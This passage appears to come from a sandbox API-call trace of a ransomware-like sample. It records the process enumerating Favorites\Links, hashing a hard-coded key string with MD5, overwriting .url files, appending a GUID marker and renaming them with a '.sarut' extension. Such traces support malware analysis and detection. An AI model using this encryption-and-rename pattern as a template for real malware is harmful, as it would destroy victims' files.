lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.620] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.620] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.620] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.620] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.620] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.620] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.620] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.620] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.621] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.621] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.621] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.621] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.621] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.621] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.621] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.621] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.621] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.621] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.621] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.621] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.622] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.622] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.622] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.622] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.622] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.622] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.622] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.622] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.622] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.622] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0270.622] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.622] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0270.622] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.622] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0270.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.622] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0270.623] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0270.623] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0270.623] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.623] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0270.623] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0270.623] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0270.623] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0270.623] PathFindFileNameW (pszPath="") returned="" [0270.623] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.623] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0270.623] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.623] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.623] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0270.623] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.623] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0270.623] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.623] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned=".ini" [0270.623] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0270.623] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0270.624] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.624] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0270.624] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.624] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned=".url" [0270.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.626] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=236) returned 1 [0270.626] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.628] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.628] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.629] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.630] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.630] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xec, lpOverlapped=0x0) returned 1 [0270.630] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.630] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.630] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.630] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.630] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.631] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.631] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.631] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.631] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.631] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.631] GetLastError () returned 0x0 [0270.631] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.631] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.631] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.631] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xf0) returned 0x3072980 [0270.631] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0270.631] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.631] WriteFile (in: hFile=0x5c4, lpBuffer=0x3072980*, nNumberOfBytesToWrite=0xe7, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x3072980*, lpNumberOfBytesWritten=0x387fb24*=0xe7, lpOverlapped=0x0) returned 1 [0270.631] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3072980 | out: hHeap=0x640000) returned 1 [0270.631] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.632] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.632] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.632] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.632] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0270.632] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.632] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0270.632] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0270.632] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.632] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.632] CloseHandle (hObject=0x5c4) returned 1 [0270.633] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0270.633] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0270.633] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0270.633] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.sarut")) returned 1 [0270.634] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.634] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.635] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0270.635] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0270.635] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.635] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0270.635] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.635] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned=".url" [0270.635] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.636] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=226) returned 1 [0270.637] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.639] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.639] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.640] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.640] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.640] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.640] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xe2, lpOverlapped=0x0) returned 1 [0270.640] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.640] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.640] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.640] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.641] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.641] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.641] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.641] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.642] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.642] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.642] GetLastError () returned 0x0 [0270.642] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.642] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.642] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.642] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe0) returned 0x3073c20 [0270.642] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0270.642] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.642] WriteFile (in: hFile=0x5c4, lpBuffer=0x3073c20*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x3073c20*, lpNumberOfBytesWritten=0x387fb24*=0xdd, lpOverlapped=0x0) returned 1 [0270.642] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3073c20 | out: hHeap=0x640000) returned 1 [0270.642] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.642] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0270.642] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.642] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.642] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0270.643] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0270.643] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0270.643] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0270.643] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.643] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.643] CloseHandle (hObject=0x5c4) returned 1 [0270.644] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0270.644] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0270.644] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0270.644] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.sarut")) returned 1 [0270.645] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.645] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.646] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0270.646] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, 